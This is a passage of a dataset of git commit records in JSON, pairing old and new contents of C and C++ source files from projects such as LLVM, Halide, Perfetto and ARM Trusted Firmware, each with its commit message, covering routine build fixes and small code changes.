91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap"} {"commit":"ea9bfa8b10fc564c1b76d6984baadd9c72f8041b","old_file":"test\/test_list.c","new_file":"test\/test_list.c","old_contents":"","new_contents":"#include \n#include \n#include \"list.h\"\n\nstruct list {\n int ctx;\n struct list_head loc;\n};\n\nint main(int argc, char *argv[])\n{\n struct list l[3];\n\n for(int i = 0; i < 3; i++)\n {\n l[i].ctx = i * 10;\n \/\/l[i].loc = (struct list_head *) malloc(sizeof(struct list_head));\n }\n\n LIST_HEAD(start);\n\n \/\/INIT_LIST_HEAD(l[0].loc);\n \/\/INIT_LIST_HEAD(l[1].loc);\n \/\/INIT_LIST_HEAD(l[2].loc);\n\n \/\/struct list_head *start = l[0].loc;\n\n \/\/list_add(start, l[1].loc);\n \/\/list_add(start, l[2].loc);\n list_add_tail(&l[0].loc, &start);\n list_add_tail(&l[1].loc, &start);\n list_add_tail(&l[2].loc, &start);\n\n\n \/\/struct list_head *tmp = start;\n struct list_head *tmp;\n list_for_each(tmp, &start)\n {\n printf(\"%d\\n\", list_entry(tmp, struct list, loc)->ctx);\n }\n}\n","subject":"Test \"list\" embeding to arbitary struct It is not confortable for me to use too much \"address of\".","message":"Test \"list\" embeding to arbitary struct\nIt is not confortable for me to use too much \"address of\".\n","lang":"C","license":"bsd-2-clause","repos":"yenWu\/DDNS,yenWu\/DDNS"} {"commit":"0773e72754c7ec546ccf0a93bf6b4b321fc7899e","old_file":"windows\/dirent.h","new_file":"windows\/dirent.h","old_contents":"#ifndef _TOKU_DIRENT_H\n#define _TOKU_DIRENT_H\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n\/\/The DIR functions do not exist in windows, but the Linux API ends up\n\/\/just using a wrapper. We might convert these into an toku_os_* type api.\n\nenum {\n DT_UNKNOWN = 0,\n DT_DIR = 4,\n DT_REG = 8\n};\n\nstruct dirent {\n char d_name[_MAX_PATH];\n unsigned char d_type;\n};\n\nstruct __toku_windir;\ntypedef struct __toku_windir DIR;\n\n\nDIR *opendir(const char *name);\n\nstruct dirent *readdir(DIR *dir);\n\nint closedir(DIR *dir);\n\n#ifndef NAME_MAX\n#define NAME_MAX 255\n#endif\n\n#if defined(__cplusplus)\n};\n#endif\n\n#endif\n\n","new_contents":"#ifndef _TOKU_DIRENT_H\n#define _TOKU_DIRENT_H\n\n#include \"toku_os_types.h\"\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n\/\/The DIR functions do not exist in windows, but the Linux API ends up\n\/\/just using a wrapper. We might convert these into an toku_os_* type api.\n\nenum {\n DT_UNKNOWN = 0,\n DT_DIR = 4,\n DT_REG = 8\n};\n\nstruct dirent {\n char d_name[_MAX_PATH];\n unsigned char d_type;\n};\n\nstruct __toku_windir;\ntypedef struct __toku_windir DIR;\n\n\nDIR *opendir(const char *name);\n\nstruct dirent *readdir(DIR *dir);\n\nint closedir(DIR *dir);\n\n#ifndef NAME_MAX\n#define NAME_MAX 255\n#endif\n\n#if defined(__cplusplus)\n};\n#endif\n\n#endif\n\n","subject":"Fix broken windows build due to r19902 (merge of 2499d branch)","message":"[t:2499] Fix broken windows build due to r19902 (merge of 2499d branch)\n\ngit-svn-id: b5c078ec0b4d3a50497e9dd3081db18a5b4f16e5@19935 c7de825b-a66e-492c-adef-691d508d4ae1\n","lang":"C","license":"lgpl-2.1","repos":"natsys\/mariadb_10.2,natsys\/mariadb_10.2,ollie314\/server,natsys\/mariadb_10.2,kuszmaul\/PerconaFT,flynn1973\/mariadb-aix,davidl-zend\/zenddbi,kuszmaul\/PerconaFT-tmp,davidl-zend\/zenddbi,ottok\/PerconaFT,ollie314\/server,slanterns\/server,BohuTANG\/ft-index,percona\/PerconaFT,BohuTANG\/ft-index,davidl-zend\/zenddbi,ollie314\/server,kuszmaul\/PerconaFT-tmp,ollie314\/server,ollie314\/server,natsys\/mariadb_10.2,davidl-zend\/zenddbi,ollie314\/server,BohuTANG\/ft-index,flynn1973\/mariadb-aix,flynn1973\/mariadb-aix,davidl-zend\/zenddbi,flynn1973\/mariadb-aix,ollie314\/server,natsys\/mariadb_10.2,davidl-zend\/zenddbi,ollie314\/server,ottok\/PerconaFT,percona\/PerconaFT,natsys\/mariadb_10.2,davidl-zend\/zenddbi,davidl-zend\/zenddbi,natsys\/mariadb_10.2,kuszmaul\/PerconaFT-tmp,natsys\/mariadb_10.2,davidl-zend\/zenddbi,ollie314\/server,ottok\/PerconaFT,flynn1973\/mariadb-aix,percona\/PerconaFT,percona\/PerconaFT,flynn1973\/mariadb-aix,natsys\/mariadb_10.2,flynn1973\/mariadb-aix,kuszmaul\/PerconaFT-tmp,ottok\/PerconaFT,natsys\/mariadb_10.2,natsys\/mariadb_10.2,flynn1973\/mariadb-aix,kuszmaul\/PerconaFT,flynn1973\/mariadb-aix,kuszmaul\/PerconaFT,flynn1973\/mariadb-aix,ollie314\/server,davidl-zend\/zenddbi,davidl-zend\/zenddbi,BohuTANG\/ft-index,flynn1973\/mariadb-aix,ollie314\/server,kuszmaul\/PerconaFT"} {"commit":"05fd893ea40718a0f0f81246425dfcb4b711642c","old_file":"drivers\/auth\/mbedtls\/mbedtls_common.c","new_file":"drivers\/auth\/mbedtls\/mbedtls_common.c","old_contents":"\/*\n * Copyright (c) 2015-2017, ARM Limited and Contributors. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#include \n\n\/* mbed TLS headers *\/\n#include \n#include \n\n\/*\n * mbed TLS heap\n *\/\n#if (TF_MBEDTLS_KEY_ALG_ID == TF_MBEDTLS_ECDSA)\n#define MBEDTLS_HEAP_SIZE\t\t(14*1024)\n#elif (TF_MBEDTLS_KEY_ALG_ID == TF_MBEDTLS_RSA)\n#define MBEDTLS_HEAP_SIZE\t\t(8*1024)\n#endif\nstatic unsigned char heap[MBEDTLS_HEAP_SIZE];\n\n\/*\n * mbed TLS initialization function\n *\/\nvoid mbedtls_init(void)\n{\n\tstatic int ready;\n\n\tif (!ready) {\n\t\t\/* Initialize the mbed TLS heap *\/\n\t\tmbedtls_memory_buffer_alloc_init(heap, MBEDTLS_HEAP_SIZE);\n\n\t\t\/* Use reduced version of snprintf to save space. *\/\n\t\tmbedtls_platform_set_snprintf(tf_snprintf);\n\n\t\tready = 1;\n\t}\n}\n","new_contents":"\/*\n * Copyright (c) 2015-2017, ARM Limited and Contributors. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#include \n\n\/* mbed TLS headers *\/\n#include \n#include \n\n\/*\n * mbed TLS heap\n *\/\n#if (TF_MBEDTLS_KEY_ALG_ID == TF_MBEDTLS_ECDSA)\n#define MBEDTLS_HEAP_SIZE\t\t(14*1024)\n#elif (TF_MBEDTLS_KEY_ALG_ID == TF_MBEDTLS_RSA)\n#define MBEDTLS_HEAP_SIZE\t\t(6*1024)\n#endif\nstatic unsigned char heap[MBEDTLS_HEAP_SIZE];\n\n\/*\n * mbed TLS initialization function\n *\/\nvoid mbedtls_init(void)\n{\n\tstatic int ready;\n\n\tif (!ready) {\n\t\t\/* Initialize the mbed TLS heap *\/\n\t\tmbedtls_memory_buffer_alloc_init(heap, MBEDTLS_HEAP_SIZE);\n\n\t\t\/* Use reduced version of snprintf to save space. *\/\n\t\tmbedtls_platform_set_snprintf(tf_snprintf);\n\n\t\tready = 1;\n\t}\n}\n","subject":"Define optimized mbed TLS heap size","message":"mbedtls: Define optimized mbed TLS heap size\n\nmbed TLS provides the debug API `mbedtls_memory_buffer_alloc_status()`\nto analyse the RAM usage of the library.\n\nWhen RSA is selected as algorithm, the maximum heap usage in FVP and\nJuno has been determined empirically to be approximately 5.5 KiB.\nHowever, The default heap size used when RSA is selected is 8 KiB.\n\nThis patch reduces the buffer from 8 KiB to 6 KiB so that the BSS\nsections of both BL1 and BL2 are 2 KiB smaller when the firmware is\ncompiled with TBB support.\n\nChange-Id: I43878a4e7af50c97be9c8d027c728c8483f24fbf\nSigned-off-by: Antonio Nino Diaz <5c24ff39be768bf31f4deee44042a11772cfd02a@arm.com>\n","lang":"C","license":"bsd-3-clause","repos":"achingupta\/arm-trusted-firmware,achingupta\/arm-trusted-firmware,lsigithub\/arm-trusted-firmware_public,lsigithub\/arm-trusted-firmware_public"} {"commit":"758d5af6abf26753054ae0662395b27ff4ab2221","old_file":"src\/lz4mt_compat.h","new_file":"src\/lz4mt_compat.h","old_contents":"#ifndef LZ4MT_COMPAT_H\n#define LZ4MT_COMPAT_H\n\nnamespace Lz4Mt {\n\nunsigned getHardwareConcurrency();\n\nstruct launch {\n#if defined(_MSC_VER)\n\ttypedef std::launch::launch Type;\n#else\n\ttypedef std::launch Type;\n#endif\n\tstatic const Type deferred;\n\tstatic const Type async;\n};\n\n}\n\n#endif\n","new_contents":"#ifndef LZ4MT_COMPAT_H\n#define LZ4MT_COMPAT_H\n\nnamespace Lz4Mt {\n\nunsigned getHardwareConcurrency();\n\nstruct launch {\n#if defined(_MSC_VER) && (_MSC_VER <= 1700)\n\ttypedef std::launch::launch Type;\n#else\n\ttypedef std::launch Type;\n#endif\n\tstatic const Type deferred;\n\tstatic const Type async;\n};\n\n}\n\n#endif\n","subject":"Fix compile error with VC++2013 preview","message":"Fix compile error with VC++2013 preview\n","lang":"C","license":"bsd-2-clause","repos":"rgde\/lz4mt,tempbottle\/lz4mt,t-mat\/lz4mt,t-mat\/lz4mt,tempbottle\/lz4mt,rgde\/lz4mt,t-mat\/lz4mt"} {"commit":"67b04dc5ae26ee489f051e7ead819f482d2fccb6","old_file":"src\/runtime\/scoped_mutex_lock.h","new_file":"src\/runtime\/scoped_mutex_lock.h","old_contents":"","new_contents":"#ifndef HALIDE_RUNTIME_MUTEX_H\n#define HALIDE_RUNTIME_MUTEX_H\n\n#include \"HalideRuntime.h\"\n\n\/\/ Avoid ODR violations\nnamespace {\n\n\/\/ An RAII mutex\nstruct ScopedMutexLock {\n halide_mutex *mutex;\n\n ScopedMutexLock(halide_mutex *mutex) : mutex(mutex) {\n halide_mutex_lock(mutex);\n }\n\n ~ScopedMutexLock() {\n halide_mutex_unlock(mutex);\n }\n};\n\n}\n\n#endif\n","subject":"Add an OS mutex to Halide runtime.","message":"Add an OS mutex to Halide runtime.\n\nDocument an issue with the POSIX thread pool.\n\nEnsure memoization cache is cleaned up when a JITted module is\nshutdown. (Also provides a way to clear the cache from AOT code.)\n","lang":"C","license":"mit","repos":"tdenniston\/Halide,kenkuang1213\/Halide,gchauras\/Halide,dougkwan\/Halide,lglucin\/Halide,ronen\/Halide,delcypher\/Halide,lglucin\/Halide,delcypher\/Halide,ronen\/Halide,mcanthony\/Halide,dougkwan\/Halide,damienfir\/Halide,ayanazmat\/Halide,kgnk\/Halide,psuriana\/Halide,rodrigob\/Halide,fengzhyuan\/Halide,smxlong\/Halide,lglucin\/Halide,ayanazmat\/Halide,smxlong\/Halide,aam\/Halide,mcanthony\/Halide,rodrigob\/Halide,dan-tull\/Halide,dan-tull\/Halide,jiawen\/Halide,smxlong\/Halide,lglucin\/Halide,damienfir\/Halide,fengzhyuan\/Halide,damienfir\/Halide,damienfir\/Halide,kenkuang1213\/Halide,rodrigob\/Halide,lglucin\/Halide,kenkuang1213\/Halide,tdenniston\/Halide,dougkwan\/Halide,mcanthony\/Halide,fengzhyuan\/Halide,lglucin\/Halide,lglucin\/Halide,mcanthony\/Halide,ronen\/Halide,kgnk\/Halide,dan-tull\/Halide,dougkwan\/Halide,smxlong\/Halide,ronen\/Halide,aam\/Halide,dan-tull\/Halide,gchauras\/Halide,ronen\/Halide,rodrigob\/Halide,dougkwan\/Halide,tdenniston\/Halide,myrtleTree33\/Halide,adasworks\/Halide,delcypher\/Halide,myrtleTree33\/Halide,kgnk\/Halide,ayanazmat\/Halide,damienfir\/Halide,aam\/Halide,adasworks\/Halide,gchauras\/Halide,gchauras\/Halide,rodrigob\/Halide,mcanthony\/Halide,myrtleTree33\/Halide,delcypher\/Halide,delcypher\/Halide,fengzhyuan\/Halide,smxlong\/Halide,dan-tull\/Halide,myrtleTree33\/Halide,myrtleTree33\/Halide,kenkuang1213\/Halide,dan-tull\/Halide,dougkwan\/Halide,rodrigob\/Halide,kgnk\/Halide,ayanazmat\/Halide,myrtleTree33\/Halide,adasworks\/Halide,mcanthony\/Halide,myrtleTree33\/Halide,delcypher\/Halide,jiawen\/Halide,tdenniston\/Halide,jiawen\/Halide,kenkuang1213\/Halide,psuriana\/Halide,fengzhyuan\/Halide,ayanazmat\/Halide,damienfir\/Halide,rodrigob\/Halide,jiawen\/Halide,aam\/Halide,tdenniston\/Halide,tdenniston\/Halide,aam\/Halide,smxlong\/Halide,damienfir\/Halide,kgnk\/Halide,myrtleTree33\/Halide,ayanazmat\/Halide,ayanazmat\/Halide,kgnk\/Halide,fengzhyuan\/Halide,jiawen\/Halide,psuriana\/Halide,aam\/Halide,psuriana\/Halide,tdenniston\/Halide,dan-tull\/Halide,delcypher\/Halide,kgnk\/Halide,kgnk\/Halide,kenkuang1213\/Halide,adasworks\/Halide,adasworks\/Halide,damienfir\/Halide,ayanazmat\/Halide,adasworks\/Halide,mcanthony\/Halide,dougkwan\/Halide,gchauras\/Halide,kenkuang1213\/Halide,rodrigob\/Halide,smxlong\/Halide,delcypher\/Halide,adasworks\/Halide,gchauras\/Halide,psuriana\/Halide,jiawen\/Halide,tdenniston\/Halide,ronen\/Halide,fengzhyuan\/Halide,adasworks\/Halide,aam\/Halide,dougkwan\/Halide,kenkuang1213\/Halide,dan-tull\/Halide,mcanthony\/Halide,jiawen\/Halide,psuriana\/Halide,smxlong\/Halide,ronen\/Halide,fengzhyuan\/Halide,ronen\/Halide,psuriana\/Halide"} {"commit":"11fb3304ba88fa84e2349c08f73b4ffaf0a8fd89","old_file":"OctoKit\/OctoKit.h","new_file":"OctoKit\/OctoKit.h","old_contents":"\/\/\n\/\/ OctoKit.h\n\/\/ OctoKit\n\/\/\n\/\/ Created by Piet Brauer on 25\/08\/15.\n\/\/ Copyright (c) 2015 nerdish by nature. All rights reserved.\n\/\/\n\n#import \n\n\/\/! Project version number for OctoKit.\nFOUNDATION_EXPORT double OctoKitVersionNumber;\n\n\/\/! Project version string for OctoKit.\nFOUNDATION_EXPORT const unsigned char OctoKitVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import \n\n\n","new_contents":"\/\/\n\/\/ OctoKit.h\n\/\/ OctoKit\n\/\/\n\/\/ Created by Piet Brauer on 25\/08\/15.\n\/\/ Copyright (c) 2015 nerdish by nature. All rights reserved.\n\/\/\n\n#import \n\n\/\/! Project version number for OctoKit.\nFOUNDATION_EXPORT double OctoKitVersionNumber;\n\n\/\/! Project version string for OctoKit.\nFOUNDATION_EXPORT const unsigned char OctoKitVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import \n\n\n","subject":"Use Foundation instead of UIKit","message":"Use Foundation instead of UIKit","lang":"C","license":"mit","repos":"nerdishbynature\/octokit.swift,nerdishbynature\/octokit.swift,nerdishbynature\/octokit.swift,phatblat\/octokit.swift,phatblat\/octokit.swift"} {"commit":"a498ca67b3d6bb65443c00ef8aa8e3c83ef19b6d","old_file":"test\/Preprocessor\/dump_macros.c","new_file":"test\/Preprocessor\/dump_macros.c","old_contents":"\/\/ RUN: clang-cc -E -dM %s -o - | FileCheck %s -strict-whitespace\n\n\/\/ Space at end even without expansion tokens\n\/\/ CHECK: {{#define A[(]x[)] $}}\n#define A(x)\n\n\/\/ Space before expansion list.\n\/\/ CHECK: {{#define B[(]x,y[)] x y$}}\n#define B(x,y)x y\n\n\/\/ No space in argument list.\n\/\/ CHECK: #define C(x,y) x y\n#define C(x, y) x y\n\n\/\/ No paste avoidance.\n\/\/ CHECK: #define D() ..\n#define D() ..\n\n\/\/ Simple test.\n\/\/ CHECK: #define E .\n\/\/ CHECK: #define F X()Y\n#define E .\n#define F X()Y\n\n\/\/ gcc prints macros at end of translation unit, so last one wins.\n\/\/ CHECK: #define G 2\n#define G 1\n#undef G\n#define G 2\n\n\/\/ Variadic macros of various sorts. PR5699\n\n\/\/ CHECK: H(x,...) __VA_ARGS__\n#define H(x, ...) __VA_ARGS__\n\/\/ CHECK: I(...) __VA_ARGS__\n#define I(...) __VA_ARGS__\n\/\/ CHECK: J(x...) __VA_ARGS__\n#define J(x ...) __VA_ARGS__\n","new_contents":"\/\/ RUN: clang-cc -E -dM %s -o - | FileCheck %s -strict-whitespace\n\n\/\/ Space at end even without expansion tokens\n\/\/ CHECK: #define A(x) \n#define A(x)\n\n\/\/ Space before expansion list.\n\/\/ CHECK: #define B(x,y) x y\n#define B(x,y)x y\n\n\/\/ No space in argument list.\n\/\/ CHECK: #define C(x,y) x y\n#define C(x, y) x y\n\n\/\/ No paste avoidance.\n\/\/ CHECK: #define D() ..\n#define D() ..\n\n\/\/ Simple test.\n\/\/ CHECK: #define E .\n\/\/ CHECK: #define F X()Y\n#define E .\n#define F X()Y\n\n\/\/ gcc prints macros at end of translation unit, so last one wins.\n\/\/ CHECK: #define G 2\n#define G 1\n#undef G\n#define G 2\n\n\/\/ Variadic macros of various sorts. PR5699\n\n\/\/ CHECK: H(x,...) __VA_ARGS__\n#define H(x, ...) __VA_ARGS__\n\/\/ CHECK: I(...) __VA_ARGS__\n#define I(...) __VA_ARGS__\n\/\/ CHECK: J(x...) __VA_ARGS__\n#define J(x ...) __VA_ARGS__\n","subject":"Improve test portability; I can't figure out how to get the regexp library to match $ correctly with \\r\\n, unfortunately.","message":"Improve test portability; I can't figure out how to get the regexp library to\nmatch $ correctly with \\r\\n, unfortunately.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@90907 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"} {"commit":"68584771ffe6608ed50dcb8f7e414d9ba6bcafa4","old_file":"src\/api-mock.h","new_file":"src\/api-mock.h","old_contents":"#ifndef APIMOCK_H\n#define APIMOCK_H\n\n#include \"core\/server.h\"\n\n#endif","new_contents":"#ifndef APIMOCK_H\n#define APIMOCK_H\n\n#include \"core\/server.h\"\n#include \"core\/exceptions.h\"\n\n#endif","subject":"Include exceptions in main header","message":"Include exceptions in main header\n","lang":"C","license":"mit","repos":"Lavesson\/api-mock,Lavesson\/api-mock,Lavesson\/api-mock,Lavesson\/api-mock"} {"commit":"4bd45e4d59931a8aa4873f40ddb77b5142fb175f","old_file":"src\/bin\/e_signals.c","new_file":"src\/bin\/e_signals.c","old_contents":"\/*\n * vim:ts=8:sw=3:sts=8:noexpandtab:cino=>5n-3f0^-2{2\n *\/\n#include \"e.h\"\n#include \n\n\/* a tricky little devil, requires e and it's libs to be built\n * with the -rdynamic flag to GCC for any sort of decent output. \n *\/\nvoid e_sigseg_act(int x, siginfo_t *info, void *data){\n\n void *array[255];\n size_t size;\n write(2, \"**** SEGMENTATION FAULT ****\\n\", 29);\n write(2, \"**** Printing Backtrace... *****\\n\\n\", 34);\n size = backtrace(array, 255);\n backtrace_symbols_fd(array, size, 2);\n exit(-11); \n}\n\n\n \n","new_contents":"\/*\n * vim:ts=8:sw=3:sts=8:noexpandtab:cino=>5n-3f0^-2{2\n * NOTE TO FreeBSD users. Install libexecinfo from \n * ports\/devel\/libexecinfo and add -lexecinfo to LDFLAGS\n * to add backtrace support.\n *\/\n#include \"e.h\"\n#include \n\n\/* a tricky little devil, requires e and it's libs to be built\n * with the -rdynamic flag to GCC for any sort of decent output. \n *\/\nvoid e_sigseg_act(int x, siginfo_t *info, void *data){\n\n void *array[255];\n size_t size;\n write(2, \"**** SEGMENTATION FAULT ****\\n\", 29);\n write(2, \"**** Printing Backtrace... *****\\n\\n\", 34);\n size = backtrace(array, 255);\n backtrace_symbols_fd(array, size, 2);\n exit(-11); \n}\n\n\n \n","subject":"Add note to help FreeBSD users.","message":"Add note to help FreeBSD users.\n","lang":"C","license":"bsd-2-clause","repos":"jordemort\/e17,jordemort\/e17,jordemort\/e17"} {"commit":"0a2825db5a26372454d53fc20a877e0e0bc82123","old_file":"libipc\/ipcreg_internal.h","new_file":"libipc\/ipcreg_internal.h","old_contents":"\/\/===-- ipcreg_internal.h -------------------------------------------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Internal types and data for IPC registration logic\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef _IPCREG_INTERNAL_H_\n#define _IPCREG_INTERNAL_H_\n\n#include \"ipcd.h\"\n\n#include \n\ntypedef enum {\n STATE_UNOPT = 0,\n STATE_ID_EXCHANGE,\n STATE_OPTIMIZED,\n STATE_LOCALFD\n} EndpointState;\n\ntypedef struct {\n size_t bytes_trans;\n int localfd;\n endpoint ep;\n EndpointState state;\n bool valid;\n} ipc_info;\n\n\/\/ For now, just index directly into pre-allocate table with fd.\n\/\/ We will also need a way to go from nonce to fd!\nconst unsigned TABLE_SIZE = 1 << 10;\nextern ipc_info IpcDescTable[TABLE_SIZE];\n\nstatic inline char inbounds_fd(int fd) { return (unsigned)fd <= TABLE_SIZE; }\n\nstatic inline ipc_info *getFDDesc(int fd) {\n assert(inbounds_fd(fd));\n return &IpcDescTable[fd];\n}\n\n#endif \/\/ _IPCREG_INTERNAL_H_\n","new_contents":"\/\/===-- ipcreg_internal.h -------------------------------------------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Internal types and data for IPC registration logic\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef _IPCREG_INTERNAL_H_\n#define _IPCREG_INTERNAL_H_\n\n#include \"ipcd.h\"\n\n#include \n\ntypedef enum {\n STATE_UNOPT = 0,\n STATE_ID_EXCHANGE,\n STATE_OPTIMIZED,\n STATE_LOCALFD\n} EndpointState;\n\ntypedef struct {\n size_t bytes_trans;\n int localfd;\n endpoint ep;\n EndpointState state;\n bool valid;\n} ipc_info;\n\n\/\/ For now, just index directly into pre-allocate table with fd.\n\/\/ We will also need a way to go from nonce to fd!\nconst unsigned TABLE_SIZE = 1 << 10;\nextern ipc_info IpcDescTable[TABLE_SIZE];\n\nstatic inline char inbounds_fd(int fd) { return (unsigned)fd <= TABLE_SIZE; }\n\nstatic inline ipc_info *getFDDesc(int fd) {\n if (!inbounds_fd(fd)) {\n ipclog(\"Attempt to access out-of-bounds fd: %d (TABLE_SIZE=%u)\\n\", fd,\n TABLE_SIZE);\n }\n assert(inbounds_fd(fd));\n return &IpcDescTable[fd];\n}\n\n#endif \/\/ _IPCREG_INTERNAL_H_\n","subject":"Extend assert in getFDDesc to print invalid fd.","message":"Extend assert in getFDDesc to print invalid fd.\n\nHelps debug issues like one fixed by previous commit.\n","lang":"C","license":"isc","repos":"dtzWill\/ipcopter,dtzWill\/ipcopter,dtzWill\/ipcopter,dtzWill\/ipcopter,dtzWill\/ipcopter,dtzWill\/ipcopter"} {"commit":"6521caab4016e59941bb8c97ace364f83b34ba9c","old_file":"src\/modules\/conf_randr\/e_smart_monitor.h","new_file":"src\/modules\/conf_randr\/e_smart_monitor.h","old_contents":"#ifdef E_TYPEDEFS\n#else\n# ifndef E_SMART_MONITOR_H\n# define E_SMART_MONITOR_H\n\n# endif\n#endif\n","new_contents":"#ifdef E_TYPEDEFS\n#else\n# ifndef E_SMART_MONITOR_H\n# define E_SMART_MONITOR_H\n\nEvas_Object *e_smart_monitor_add(Evas *evas);\n\n# endif\n#endif\n","subject":"Add header function for creating new monitors.","message":"Add header function for creating new monitors.\n\nSigned-off-by: Christopher Michael \n\nSVN revision: 84123\n","lang":"C","license":"bsd-2-clause","repos":"rvandegrift\/e,tasn\/enlightenment,tizenorg\/platform.upstream.enlightenment,FlorentRevest\/Enlightenment,FlorentRevest\/Enlightenment,FlorentRevest\/Enlightenment,tizenorg\/platform.upstream.enlightenment,rvandegrift\/e,tasn\/enlightenment,tizenorg\/platform.upstream.enlightenment,tasn\/enlightenment,rvandegrift\/e"} {"commit":"72caa3963e9d0ef6b47774f9b9a7a0de83634ec4","old_file":"src\/trace_processor\/types\/version_number.h","new_file":"src\/trace_processor\/types\/version_number.h","old_contents":"\/*\n * Copyright (C) 2019 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef SRC_TRACE_PROCESSOR_TYPES_VERSION_NUMBER_H_\n#define SRC_TRACE_PROCESSOR_TYPES_VERSION_NUMBER_H_\n\n#include \n\nnamespace perfetto {\nnamespace trace_processor {\n\nstruct VersionNumber {\n uint32_t major;\n uint32_t minor;\n\n bool operator==(const VersionNumber& other) {\n return std::tie(major, minor) == std::tie(other.major, other.minor);\n }\n bool operator<(const VersionNumber& other) {\n return std::tie(major, minor) < std::tie(other.major, other.minor);\n }\n bool operator>=(const VersionNumber& other) {\n return std::tie(major, minor) >= std::tie(other.major, other.minor);\n }\n};\n\n} \/\/ namespace trace_processor\n} \/\/ namespace perfetto\n\n#endif \/\/ SRC_TRACE_PROCESSOR_TYPES_VERSION_NUMBER_H_\n","new_contents":"\/*\n * Copyright (C) 2019 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef SRC_TRACE_PROCESSOR_TYPES_VERSION_NUMBER_H_\n#define SRC_TRACE_PROCESSOR_TYPES_VERSION_NUMBER_H_\n\n#include \n\nnamespace perfetto {\nnamespace trace_processor {\n\nstruct VersionNumber {\n uint32_t major;\n uint32_t minor;\n\n bool operator==(const VersionNumber& other) const {\n return std::tie(major, minor) == std::tie(other.major, other.minor);\n }\n bool operator<(const VersionNumber& other) const {\n return std::tie(major, minor) < std::tie(other.major, other.minor);\n }\n bool operator>=(const VersionNumber& other) const {\n return std::tie(major, minor) >= std::tie(other.major, other.minor);\n }\n};\n\n} \/\/ namespace trace_processor\n} \/\/ namespace perfetto\n\n#endif \/\/ SRC_TRACE_PROCESSOR_TYPES_VERSION_NUMBER_H_\n","subject":"Fix VersionNumber comparison operator constness","message":"Fix VersionNumber comparison operator constness\n\nCurrently Perfetto builds are broken in Chromium.\n\nChange-Id: I09b2e29682667e6dfecc36ea072327dd51f5e071\n","lang":"C","license":"apache-2.0","repos":"google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto"} {"commit":"0de12dcf3dde407ceaff96b28c2b292a3aa463e2","old_file":"Classes\/APIRouter.h","new_file":"Classes\/APIRouter.h","old_contents":"\/\/\n\/\/ APIRouter.h\n\/\/ APIClient\n\/\/\n\/\/ Created by Klaas Pieter Annema on 14-09-13.\n\/\/ Copyright (c) 2013 Klaas Pieter Annema. All rights reserved.\n\/\/\n\n#import \n\n#import \"APIInflector.h\"\n\n@protocol APIRouter \n@property (nonatomic, readonly, strong) id inflector;\n\n- (NSString *)pathForAction:(NSString *)action onResource:(Class)resource;\n@end\n\n@interface APIRouter : NSObject \n- (id)initWithInflector:(id)inflector;\n- (NSString *)pathForAction:(NSString *)action onResource:(Class)resource;\n@end\n","new_contents":"\/\/\n\/\/ APIRouter.h\n\/\/ APIClient\n\/\/\n\/\/ Created by Klaas Pieter Annema on 14-09-13.\n\/\/ Copyright (c) 2013 